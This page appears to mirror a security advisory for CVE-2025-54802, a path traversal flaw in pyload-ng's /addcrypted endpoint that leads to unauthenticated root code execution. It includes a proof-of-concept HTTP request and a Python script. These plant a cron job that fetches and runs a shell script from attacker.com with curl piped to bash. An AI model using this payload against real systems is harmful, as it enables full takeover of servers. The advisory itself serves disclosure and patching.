GHSA-48RP-JC79-2264

Vulnerability from github – Published: 2025-08-04 15:57 – Updated: 2025-08-05 17:10
VLAI?
Summary
pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)
Details

Summary

Path Traversal in pyLoad-ng CNL Blueprint via package parameter allows Arbitrary File Write leading to Remote Code Execution (RCE) The addcrypted endpoint in pyload-ng suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.

Details

  • Endpoint: POST /addcrypted
  • Issue: src/pyload/webui/app/blueprints/cnl_blueprint.py

Vulnerable Code

 dlc_path = os.path.join( 
     dl_path, package.replace("/", "").replace("\\", "").replace(":", "") + ".dlc" 
 ) 
 dlc = flask.request.form["crypted"].replace(" ", "+") 
 with open(dlc_path, mode="wb") as fp: 

PoC

POST /addcrypted HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 107

package=../../../../etc/cron.d/payload&crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA==

Decoded payload:

* * * * * root curl -s http://attacker.com/r.sh | bash

Send crafted POST

import requests, base64

payload = "* * * * * root curl http://attacker.com/rev.sh | bash"
b64 = base64.b64encode(payload.encode()).decode()

requests.post("http://localhost:8000/addcrypted", data={
    "package": "../../../../etc/cron.d/exploit",
    "crypted": b64
})

Impact

The vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the addcrypted endpoint in pyload-ng parameter. when exploited, it enables remote code execution as root by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.0b3.dev89"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.0b3.dev90"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54802"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-04T15:57:48Z",
    "nvd_published_at": "2025-08-05T01:15:42Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n**Path Traversal in pyLoad-ng CNL Blueprint via `package` parameter allows Arbitrary File Write leading to Remote Code Execution (RCE)** The `addcrypted` endpoint in `pyload-ng` suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.\n\n\n\n### Details\n* **Endpoint**: `POST /addcrypted`\n* **Issue**: `src/pyload/webui/app/blueprints/cnl_blueprint.py`\n\n#### Vulnerable Code\n```python\n dlc_path = os.path.join( \n     dl_path, package.replace(\"/\", \"\").replace(\"\\\\\", \"\").replace(\":\", \"\") + \".dlc\" \n ) \n dlc = flask.request.form[\"crypted\"].replace(\" \", \"+\") \n with open(dlc_path, mode=\"wb\") as fp: \n```\n\n### PoC\n```http\nPOST /addcrypted HTTP/1.1\nHost: localhost:8000\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 107\n\npackage=../../../../etc/cron.d/payload\u0026crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA==\n```\n\nDecoded payload:\n```bash\n* * * * * root curl -s http://attacker.com/r.sh | bash\n```\n\n**Send crafted POST**\n```python\nimport requests, base64\n\npayload = \"* * * * * root curl http://attacker.com/rev.sh | bash\"\nb64 = base64.b64encode(payload.encode()).decode()\n\nrequests.post(\"http://localhost:8000/addcrypted\", data={\n    \"package\": \"../../../../etc/cron.d/exploit\",\n    \"crypted\": b64\n})\n```\n\n\n### Impact\nThe vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the `addcrypted` endpoint in `pyload-ng` parameter. when exploited, it enables remote code execution as **root** by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.",
  "id": "GHSA-48rp-jc79-2264",
  "modified": "2025-08-05T17:10:50Z",
  "published": "2025-08-04T15:57:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-48rp-jc79-2264"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54802"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/pull/4596"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/commit/70a44fe02c03bce92337b5d370d2a45caa4de3d4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…